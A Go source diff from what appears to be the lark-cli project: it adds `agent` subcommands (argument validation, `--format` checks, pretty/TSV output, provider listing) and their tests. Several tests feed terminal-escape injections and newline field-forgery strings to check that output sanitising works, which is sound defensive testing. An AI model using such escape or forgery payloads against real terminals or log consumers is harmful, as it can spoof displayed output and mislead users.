fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
|
||||
}
|
||||
fmt.Fprintf(w, "tasks: %d\n", len(detail.Tasks))
|
||||
}
|
||||
|
||||
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
|
||||
// the executing command's Use line, so the hint never drifts from the
|
||||
// registered Use string.
|
||||
func usageHintOf(cmd *cobra.Command) string {
|
||||
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
|
||||
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
|
||||
}
|
||||
return "用法: " + cmd.CommandPath()
|
||||
}
|
||||
|
||||
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
|
||||
// (exit 2) whose hint carries the full usage string — cobra's bare English
|
||||
// "accepts 2 arg(s), received 1" never says WHAT is missing.
|
||||
func exactArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) != n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
|
||||
// exactArgsWithUsage, for leaves with an optional positional (agent list).
|
||||
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) > n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
352
cmd/agent/format_test.go
Normal file
352
cmd/agent/format_test.go
Normal file
@@ -0,0 +1,352 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
|
||||
// only occurs when options structs are built directly in tests) pass.
|
||||
func TestValidateFormat_Valid(t *testing.T) {
|
||||
for _, f := range []string{"", "json", "pretty"} {
|
||||
if err := validateFormat(f); err != nil {
|
||||
t.Errorf("format %q should be valid: %v", f, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
|
||||
// validation/invalid_argument error (exit 2) whose hint lists the legal values
|
||||
// and whose param names the flag with the -- prefix.
|
||||
func TestValidateFormat_Invalid(t *testing.T) {
|
||||
err := validateFormat("yaml")
|
||||
if err == nil {
|
||||
t.Fatal("--format yaml should error (currently silently treated as json)")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
if !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--format" {
|
||||
t.Errorf("param should be --format, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
|
||||
// lark-cli), with a nil Factory: format validation must fire at the RunE
|
||||
// entry, before any Factory access.
|
||||
func agentRootTree() *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
|
||||
root.AddCommand(NewCmdAgent(nil))
|
||||
return root
|
||||
}
|
||||
|
||||
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
|
||||
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
|
||||
// hint, uniformly, before any provider/Factory is touched.
|
||||
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
|
||||
leaves := [][]string{
|
||||
{"agent", "list", "--format", "yaml"},
|
||||
{"agent", "card", "example:x", "--format", "yaml"},
|
||||
{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
|
||||
{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
|
||||
{"agent", "task", "list", "example:x", "--format", "yaml"},
|
||||
{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
|
||||
{"agent", "context", "list", "example:x", "--format", "yaml"},
|
||||
{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
|
||||
{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
|
||||
}
|
||||
for _, argv := range leaves {
|
||||
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs(argv)
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("%v should report a --format validation error", argv)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T: %v", err, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should contain json | pretty, got %+v", p)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestFormatHelpTextUniform pins the mandated uniform help text
|
||||
// "output format: json (default) | pretty" across every leaf that has --format.
|
||||
func TestFormatHelpTextUniform(t *testing.T) {
|
||||
cmds := map[string]*cobra.Command{
|
||||
"list": NewCmdAgentList(nil),
|
||||
"card": NewCmdAgentCard(nil),
|
||||
"send": NewCmdAgentSend(nil, nil),
|
||||
"task get": NewCmdAgentTaskGet(nil),
|
||||
"task list": NewCmdAgentTaskList(nil),
|
||||
"task cancel": NewCmdAgentTaskCancel(nil),
|
||||
"context list": NewCmdAgentContextList(nil),
|
||||
"context get": NewCmdAgentContextGet(nil),
|
||||
"context delete": NewCmdAgentContextDelete(nil),
|
||||
}
|
||||
for name, cmd := range cmds {
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Errorf("%s should have a --format flag", name)
|
||||
continue
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
|
||||
}
|
||||
if fl.Usage != "output format: json (default) | pretty" {
|
||||
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
|
||||
// all removed before agent text reaches a terminal.
|
||||
func TestStripANSI(t *testing.T) {
|
||||
for _, tt := range []struct{ in, want string }{
|
||||
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
|
||||
{"a\x1bb", "ab"}, // bare ESC
|
||||
{"t\x1b]0;evil\x07x", "tx"},
|
||||
{"clean 文本", "clean 文本"},
|
||||
} {
|
||||
if got := stripANSI(tt.in); got != tt.want {
|
||||
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count — and the agent-controlled text stripped of
|
||||
// ANSI escapes.
|
||||
func TestPrintTaskPretty(t *testing.T) {
|
||||
long := strings.Repeat("字", 130)
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: "sess_1",
|
||||
State: iagent.StateCompleted,
|
||||
Messages: []iagent.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
|
||||
}},
|
||||
Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
|
||||
}
|
||||
if strings.Contains(text, long) {
|
||||
t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
|
||||
}
|
||||
if !strings.Contains(text, strings.Repeat("字", 120)) {
|
||||
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
|
||||
// fix: agent text containing newlines must not be able to fake an adjacent
|
||||
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
|
||||
// to spaces, so exactly one state: line exists.
|
||||
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
State: iagent.StateFailed,
|
||||
Messages: []iagent.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
|
||||
}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
|
||||
var stateLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
if strings.HasPrefix(line, "state: ") {
|
||||
stateLines++
|
||||
}
|
||||
}
|
||||
if stateLines != 1 {
|
||||
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "state: failed") {
|
||||
t.Errorf("the real state line should remain, got:\n%s", out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "text: done state: completed ok") {
|
||||
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
|
||||
// the context title row.
|
||||
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagent.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
Title: "标题\ncontext_id: forged",
|
||||
})
|
||||
var idLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
if strings.HasPrefix(line, "context_id: ") {
|
||||
idLines++
|
||||
}
|
||||
}
|
||||
if idLines != 1 {
|
||||
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
|
||||
func TestPrintTaskPretty_NilTask(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, nil)
|
||||
if out.Len() == 0 {
|
||||
t.Error("nil task should print a placeholder line")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
|
||||
// naming the json fields, then one tab-separated row per task.
|
||||
func TestPrintTaskSummariesTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskSummariesTSV(out, []iagent.TaskSummary{
|
||||
{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true},
|
||||
})
|
||||
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
|
||||
if len(lines) != 2 {
|
||||
t.Fatalf("should have a header + 1 data row, got %q", out.String())
|
||||
}
|
||||
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL" {
|
||||
t.Errorf("header columns should match the json field names, got %q", lines[0])
|
||||
}
|
||||
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue" {
|
||||
t.Errorf("data row mismatch, got %q", lines[1])
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextsTSV pins the context-list pretty spec: header row plus
|
||||
// rows, with the agent-controlled Title stripped of ANSI escapes (Task 10
|
||||
// review fix).
|
||||
func TestPrintContextsTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextsTSV(out, []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", Title: "\x1b[2J销售分析"},
|
||||
})
|
||||
text := out.String()
|
||||
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
|
||||
t.Errorf("should have a header row, got %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "销售分析") {
|
||||
t.Errorf("should contain the title text, got %q", text)
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty pins the context-get pretty rendering:
|
||||
// key: value lines with the tasks count, title ANSI-stripped.
|
||||
func TestPrintContextDetailPretty(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagent.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
CreatedAt: "2026-07-05T10:00:00+08:00",
|
||||
Title: "\x1b[31m分析\x1b[0m",
|
||||
Tasks: []iagent.TaskSummary{{TaskID: "chat_1"}},
|
||||
})
|
||||
text := out.String()
|
||||
for _, want := range []string{"context_id: sess_1", "title: 分析", "tasks: 1"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in title must be stripped: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
|
||||
// built from the real command path + Use shape, so the caller learns what is
|
||||
// missing instead of cobra's bare "accepts 2 arg(s)".
|
||||
func TestExactArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("task get with a single argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
|
||||
// (`agent list [scheme]`).
|
||||
func TestMaximumArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agent", "list", "example", "extra"})
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("list with more than 1 positional argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
}
|
||||
199
cmd/agent/list.go
Normal file
199
cmd/agent/list.go
Normal file
@@ -0,0 +1,199 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// providerInfo describes a registered provider adapter in `agent list` output.
|
||||
// Every field is sourced from the registered iagent.ProviderInfo (the single
|
||||
// source of truth).
|
||||
type providerInfo struct {
|
||||
Scheme string `json:"scheme"`
|
||||
Label string `json:"label"`
|
||||
AgentRefFormat string `json:"agent_ref_format"`
|
||||
Kind string `json:"kind"`
|
||||
AgentIDSource string `json:"agent_id_source"`
|
||||
}
|
||||
|
||||
// listOptions holds all inputs for `agent list [scheme]`.
|
||||
type listOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Scheme string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
|
||||
// enumerates the registered provider adapters with their metadata — a
|
||||
// pure, API-free listing. With a scheme it performs second-level discovery:
|
||||
// providers implementing Discoverer enumerate their agents;
|
||||
// others return unsupported_capability with the agent_id_source
|
||||
// guidance. Risk=read.
|
||||
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &listOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list [scheme]",
|
||||
Short: "List registered agent providers, or enumerate the agents under one provider",
|
||||
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
|
||||
Args: maximumArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
if len(args) == 1 {
|
||||
opts.Scheme = args[0]
|
||||
}
|
||||
return agentListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
|
||||
// provider's agents (second-level discovery); without it renders the provider
|
||||
// listing. JSON envelope is the default; `pretty` is the opt-in human view.
|
||||
func agentListRun(opts *listOptions) error {
|
||||
if opts.Scheme != "" {
|
||||
return agentListSchemeRun(opts)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
providers := listProviders()
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
|
||||
}
|
||||
// agent_id_source is a full sentence — a TSV column would blow out the
|
||||
// row width, so surface it as a per-provider footer instead. This is the
|
||||
// single most important "where do I get an agent_id" cue for newcomers
|
||||
// and must not vanish in the human-readable view.
|
||||
fmt.Fprintln(f.IOStreams.Out)
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s): %s\n", p.Scheme, p.AgentIDSource)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Data: map[string]interface{}{"providers": providers},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentListSchemeRun runs `agent list <scheme>`: second-level discovery for one
|
||||
// provider. The Discoverer probe runs BEFORE any client construction so a
|
||||
// provider without discovery support returns its precise
|
||||
// unsupported_capability error even in an unconfigured environment — aligned
|
||||
// with the validation-before-config-gate principle. Only a provider that
|
||||
// does implement Discoverer needs a configured client for the real ListAgents
|
||||
// call.
|
||||
func agentListSchemeRun(opts *listOptions) error {
|
||||
f := opts.Factory
|
||||
info, ok := iagent.Info(opts.Scheme)
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 agent provider '%s',当前支持: %s",
|
||||
opts.Scheme, iagent.KnownSchemes()).
|
||||
WithHint("用 lark-cli agent list 查看可用 provider")
|
||||
}
|
||||
if !probeDiscoverer(info) {
|
||||
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
|
||||
"provider '%s' 暂不支持列举 agent", opts.Scheme).
|
||||
WithHint("%s", info.AgentIDSource)
|
||||
}
|
||||
|
||||
// The real ListAgents call carries the resolved identity, aligned with
|
||||
// resolveProvider (common.go) — a provider must never see a zero As on an
|
||||
// API-bound instance.
|
||||
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, "")
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
p, err := info.Factory(iagent.Deps{Client: apiClient, As: id}, "")
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
|
||||
}
|
||||
agents, err := p.ListAgents(opts.Cmd.Context())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
// Name/Description are agent-controlled remote strings — ANSI-strip
|
||||
// them before writing to the terminal.
|
||||
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
|
||||
for _, a := range agents {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Data: map[string]interface{}{"agents": agents},
|
||||
Meta: &output.Meta{Count: len(agents)},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// probeDiscoverer reports whether the provider built by info can enumerate its
|
||||
// agents (wires ListAgents). The probe instance is constructed with empty Deps
|
||||
// and an empty agentID — no client is needed to read a field, which keeps the
|
||||
// probe usable before config init. A factory error means the capability cannot
|
||||
// be confirmed, so it degrades to not discoverable.
|
||||
func probeDiscoverer(info iagent.ProviderInfo) bool {
|
||||
p, err := info.Factory(iagent.Deps{}, "")
|
||||
if err != nil || p == nil {
|
||||
return false
|
||||
}
|
||||
return p.ListAgents != nil
|
||||
}
|
||||
|
||||
// listProviders builds the provider descriptors from the built-in registry so
|
||||
// the listing stays in sync with whatever adapters are registered.
|
||||
func listProviders() []providerInfo {
|
||||
schemes := iagent.RegisteredSchemes()
|
||||
out := make([]providerInfo, 0, len(schemes))
|
||||
for _, s := range schemes {
|
||||
// s comes from RegisteredSchemes, so Info always succeeds.
|
||||
info, _ := iagent.Info(s)
|
||||
out = append(out, providerInfo{
|
||||
Scheme: s,
|
||||
Label: info.Label,
|
||||
AgentRefFormat: info.AgentRefFormat,
|
||||
Kind: string(info.Kind),
|
||||
AgentIDSource: info.AgentIDSource,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
428
cmd/agent/list_test.go
Normal file
428
cmd/agent/list_test.go
Normal file
@@ -0,0 +1,428 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// listFactory returns a Factory writing to a fresh stdout buffer plus a
|
||||
// listOptions bound to it, ready to drive agentListRun without any API.
|
||||
func listFactory() (*listOptions, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
return &listOptions{Factory: f, Format: "json"}, out
|
||||
}
|
||||
|
||||
// decodeProviders unmarshals the envelope on out and returns data.providers.
|
||||
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
|
||||
t.Helper()
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
providers, _ := data["providers"].([]interface{})
|
||||
return providers
|
||||
}
|
||||
|
||||
// findProvider returns the provider entry whose scheme matches, or nil.
|
||||
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
|
||||
for _, pv := range providers {
|
||||
p, _ := pv.(map[string]interface{})
|
||||
if p["scheme"] == scheme {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
|
||||
// example entry carries all fields sourced from iagent.Info (the single source
|
||||
// of truth), the legacy free-text description field is gone, and discoverable
|
||||
// is no longer exposed.
|
||||
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
info, ok := iagent.Info("example")
|
||||
if !ok {
|
||||
t.Fatal("the example provider should already be registered (blank import in agent.go)")
|
||||
}
|
||||
p := findProvider(decodeProviders(t, out), "example")
|
||||
if p == nil {
|
||||
t.Fatalf("list should include the example provider: %s", out.String())
|
||||
}
|
||||
if p["label"] != info.Label {
|
||||
t.Errorf("label should come from ProviderInfo.Label %q, got %v", info.Label, p["label"])
|
||||
}
|
||||
if p["agent_ref_format"] != info.AgentRefFormat {
|
||||
t.Errorf("agent_ref_format should come from ProviderInfo.AgentRefFormat %q, got %v", info.AgentRefFormat, p["agent_ref_format"])
|
||||
}
|
||||
if p["kind"] != string(info.Kind) {
|
||||
t.Errorf("kind should come from ProviderInfo.Kind %q, got %v", info.Kind, p["kind"])
|
||||
}
|
||||
if p["agent_id_source"] != info.AgentIDSource {
|
||||
t.Errorf("agent_id_source should come from ProviderInfo.AgentIDSource, got %v", p["agent_id_source"])
|
||||
}
|
||||
if _, present := p["description"]; present {
|
||||
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
|
||||
}
|
||||
if _, present := p["discoverable"]; present {
|
||||
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
|
||||
// data.providers[] with the full field contract.
|
||||
func TestAgentListRun_EnvelopeShape(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
providers := decodeProviders(t, out)
|
||||
if len(providers) == 0 {
|
||||
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
|
||||
}
|
||||
first, ok := providers[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("provider entry should be an object, got %T", providers[0])
|
||||
}
|
||||
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
|
||||
if _, present := first[key]; !present {
|
||||
t.Errorf("provider entry missing field %q: %v", key, first)
|
||||
}
|
||||
}
|
||||
if _, present := first["discoverable"]; present {
|
||||
